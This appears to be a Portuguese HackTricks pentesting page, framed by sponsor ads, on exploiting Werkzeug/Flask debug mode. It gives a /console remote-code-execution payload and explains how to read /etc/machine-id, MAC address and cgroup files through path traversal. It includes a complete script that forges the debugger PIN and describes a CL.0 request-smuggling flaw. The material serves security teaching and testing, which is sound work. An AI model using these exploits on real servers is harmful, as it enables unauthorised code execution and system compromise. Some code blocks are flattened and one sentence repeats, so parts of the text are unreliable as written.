11 KiB
Werkzeug / Flask Debug
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, explorar vulnerabilidades e se divertir.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Console RCE
Se o debug estiver ativo, você pode tentar acessar /console
e obter RCE.
__import__('os').popen('whoami').read();
Há também vários exploits na internet como este ou um no metasploit.
Protegido por PIN - Traversal de Caminho
Em algumas ocasiões, o endpoint /console
estará protegido por um pin. Se você tiver uma vulnerabilidade de traversal de arquivo, pode vazar todas as informações necessárias para gerar esse pin.
Exploit de PIN da Console do Werkzeug
Force uma página de erro de depuração no aplicativo para ver isso:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Uma mensagem sobre o cenário "console locked" é encontrada ao tentar acessar a interface de depuração do Werkzeug, indicando a necessidade de um PIN para desbloquear o console. A sugestão é explorar o PIN do console analisando o algoritmo de geração de PIN no arquivo de inicialização de depuração do Werkzeug (__init__.py
). O mecanismo de geração de PIN pode ser estudado no repositório de código-fonte do Werkzeug, embora seja aconselhável obter o código do servidor real por meio de uma vulnerabilidade de travessia de arquivos devido a possíveis discrepâncias de versão.
Para explorar o PIN do console, são necessárias duas conjuntos de variáveis, probably_public_bits
e private_bits
:
probably_public_bits
username
: Refere-se ao usuário que iniciou a sessão Flask.modname
: Geralmente designado comoflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Geralmente resolve para Flask.getattr(mod, '__file__', None)
: Representa o caminho completo paraapp.py
dentro do diretório Flask (por exemplo,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Seapp.py
não for aplicável, tenteapp.pyc
.
private_bits
uuid.getnode()
: Obtém o endereço MAC da máquina atual, comstr(uuid.getnode())
traduzindo-o para um formato decimal.- Para determinar o endereço MAC do servidor, deve-se identificar a interface de rede ativa usada pelo aplicativo (por exemplo,
ens3
). Em casos de incerteza, leak/proc/net/arp
para encontrar o ID do dispositivo, então extraia o endereço MAC de/sys/class/net/<device id>/address
. - A conversão de um endereço MAC hexadecimal para decimal pode ser realizada como mostrado abaixo:
# Exemplo de endereço MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Concatena dados de/etc/machine-id
ou/proc/sys/kernel/random/boot_id
com a primeira linha de/proc/self/cgroup
após a última barra (/
).
Código para `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Ao compilar todos os dados necessários, o script de exploit pode ser executado para gerar o PIN do console Werkzeug:
Ao compilar todos os dados necessários, o script de exploit pode ser executado para gerar o PIN do console Werkzeug. O script utiliza os `probably_public_bits` e `private_bits` montados para criar um hash, que então passa por um processamento adicional para produzir o PIN final. Abaixo está o código Python para executar esse processo:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Este script produz o PIN ao hash dos bits concatenados, adicionando sais específicos (cookiesalt
e pinsalt
), e formatando a saída. É importante notar que os valores reais para probably_public_bits
e private_bits
precisam ser obtidos com precisão do sistema alvo para garantir que o PIN gerado corresponda ao esperado pela console do Werkzeug.
{% hint style="success" %} Se você estiver em uma versão antiga do Werkzeug, tente mudar o algoritmo de hash para md5 em vez de sha1. {% endhint %}
Caracteres Unicode do Werkzeug
Como observado em este problema, o Werkzeug não fecha uma solicitação com caracteres Unicode nos cabeçalhos. E como explicado em este artigo, isso pode causar uma vulnerabilidade de CL.0 Request Smuggling.
Isso ocorre porque, no Werkzeug, é possível enviar alguns caracteres Unicode e isso fará com que o servidor quebre. No entanto, se a conexão HTTP foi criada com o cabeçalho Connection: keep-alive
, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o corpo da solicitação será tratado como a próxima solicitação HTTP.
Exploração Automatizada
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
Referências
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, estourar shells e se divertir.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.